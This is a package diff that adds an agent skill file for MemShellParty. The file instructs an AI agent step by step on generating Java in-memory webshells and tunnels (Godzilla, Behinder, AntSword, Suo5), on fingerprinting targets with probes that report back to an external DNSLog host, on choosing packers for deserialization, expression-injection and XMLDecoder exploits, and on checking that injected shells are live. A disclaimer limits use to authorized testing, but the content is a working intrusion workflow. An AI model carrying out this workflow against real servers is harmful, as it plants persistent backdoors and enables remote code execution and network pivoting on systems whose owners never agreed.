memshell-party-cli 0.1.0 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,186 @@
1
+ ---
2
+ name: memshell-party
3
+ description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), and verify deployed shells with `memparty connect`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, or test that a Godzilla / Behinder / suo5 shell is alive — for authorized security testing, red-team engagements, or research only.
4
+ ---
5
+
6
+ # MemShellParty skill
7
+
8
+ Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
9
+ by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
10
+
11
+ > ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
12
+ > do not have explicit written permission to test. You are responsible for how these payloads are used.
13
+
14
+ ## How to talk to the tool
15
+
16
+ Two equivalent interfaces — pick whichever is available:
17
+
18
+ - **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
19
+ - **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
20
+ `list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
21
+ `server_version`.
22
+
23
+ The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
24
+ (`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
25
+
26
+ ## Step 0 — Discover, don't guess
27
+
28
+ The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
29
+ hard-code a server/packer name from memory.** Always enumerate first:
30
+
31
+ ```bash
32
+ memparty config servers # every server + its shell types
33
+ memparty config tools Tomcat # one server's tools + types
34
+ memparty config packers # packer parent/child tree
35
+ memparty config command # Command-tool encryptors & implementation classes
36
+ ```
37
+
38
+ Add `--json` for machine-readable output. Use the exact strings these return.
39
+
40
+ ## Step 1 — Pick the four core options
41
+
42
+ Every memory shell needs **server → shell tool → shell type → packer**.
43
+
44
+ ### server
45
+ The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
46
+ `SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
47
+ to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
48
+
49
+ ### shell tool (what the memshell does once injected)
50
+ | Tool | Use when |
51
+ |------|----------|
52
+ | `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
53
+ | `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
54
+ | `AntSword` | AntSword ("蚁剑") webshell (pass) |
55
+ | `Command` | Single command execution / RCE (param name + encryptor) |
56
+ | `Suo5` / `Suo5v2` | SOCKS5 proxy tunnel via Suo5 |
57
+ | `NeoreGeorg` | NeoreGeorg tunneling shell |
58
+ | `Proxy` | Generic proxy (often WebSocket-based) |
59
+ | `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
60
+
61
+ ### shell type (where it hooks into the server)
62
+ `Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
63
+ `Agent*` variants. Rules of thumb:
64
+ - **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
65
+ Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
66
+ - **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
67
+ - **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
68
+ filters). `Proxy` tool commonly pairs with `WebSocket` types.
69
+ - Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
70
+
71
+ ### packer (how to deliver/instantiate the payload)
72
+ The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
73
+
74
+ | Scenario / vuln | Packer family (leaf names) |
75
+ |-----------------|----------------------------|
76
+ | Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
77
+ | Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
78
+ | `Class.forName` / `defineClass` via big int | `BigInteger` |
79
+ | BCEL-encoded classloading | `BCEL` |
80
+ | `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
81
+ | Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
82
+ | Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
83
+ | Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
84
+ | Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
85
+ | `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
86
+ | Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
87
+ | H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
88
+ | Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
89
+ | XXL-JOB endpoint | `XxlJob` |
90
+
91
+ > **Aggregate vs leaf packers:** parent packers like `Base64`, `JSP`, `JavaDeserialize`,
92
+ > `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… return *several* variants at once
93
+ > (`allPackResults`). For a single payload, pick a **leaf** (child) packer. Run
94
+ > `memparty config packers` to see the parent→child tree.
95
+
96
+ ## Step 2 — Probe (fingerprint first when unsure)
97
+
98
+ If you don't know the target middleware, generate a **probe** to detect it before committing to a
99
+ memshell. Probes have a strict method × content matrix — only these combos work:
100
+
101
+ | Method (`-m`) | Supported contents (`-c`) | Extra flags |
102
+ |---------------|---------------------------|-------------|
103
+ | `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
104
+ | `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
105
+ | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
106
+
107
+ > `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
108
+
109
+ ```bash
110
+ # Blind: does the target resolve our DNS? Which server is it?
111
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
112
+
113
+ # Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
114
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
115
+
116
+ # OOB-visible: run a command and echo it into the HTTP response body
117
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
118
+ ```
119
+
120
+ The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
121
+
122
+ ## Step 3 — Generate
123
+
124
+ ```bash
125
+ memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
126
+ ```
127
+
128
+ Common tool-specific flags:
129
+ - Godzilla: `--godzilla-pass`, `--godzilla-key`
130
+ - Behinder: `--behinder-pass`
131
+ - AntSword: `--antsword-pass`
132
+ - Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`
133
+ - All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
134
+ - Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
135
+ - Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
136
+
137
+ Output:
138
+ - payload → **stdout** by default.
139
+ - `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
140
+ - `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
141
+
142
+ ## Step 4 — Verify the shell is alive
143
+
144
+ Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
145
+ you whether it works (exit 0/1):
146
+
147
+ ```bash
148
+ memparty connect -u <shell-url> -t godzilla --pass <pass> --key <key> # defaults pass/key
149
+ memparty connect -u <shell-url> -t behinder --pass <pass> # default rebeyond
150
+ memparty connect -u <shell-url> -t suo5 # add --suo5-mode v2|v1 to force
151
+ ```
152
+
153
+ MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
154
+ `gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
155
+ response (the Suo5v2 shell checks it too):
156
+
157
+ ```bash
158
+ memparty connect -u <shell-url> -t godzilla --pass pass --key key \
159
+ --header-name User-Agent --header-value <headerValue-from-gen-json>
160
+ ```
161
+
162
+ ## Gotchas
163
+
164
+ - **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
165
+ → non-prefixed. Picking the wrong family = the shell won't load.
166
+ - **JDK target.** `--jdk java6/8/9/11/17/21` (or bare `8`, or raw major `52`). Match (or stay ≤) the
167
+ target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
168
+ - **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
169
+ special injector class name — the CLI generates one automatically; don't override
170
+ `--injector-class-name` for these.
171
+ - **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
172
+ - **Aggregate packers** return multiple variants — pick a leaf for a single payload (see Step 1).
173
+ - **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
174
+ aren't class-byte payloads.
175
+ - **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
176
+ don't trust payloads from public services in real engagements — self-host with Docker and use
177
+ `MEMPARTY_API_URL` or `--api`).
178
+
179
+ ## Reverse: parse a class name
180
+
181
+ Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
182
+
183
+ ```bash
184
+ memparty parse-classname --file shell.class
185
+ memparty parse-classname <base64-of-class-bytes>
186
+ ```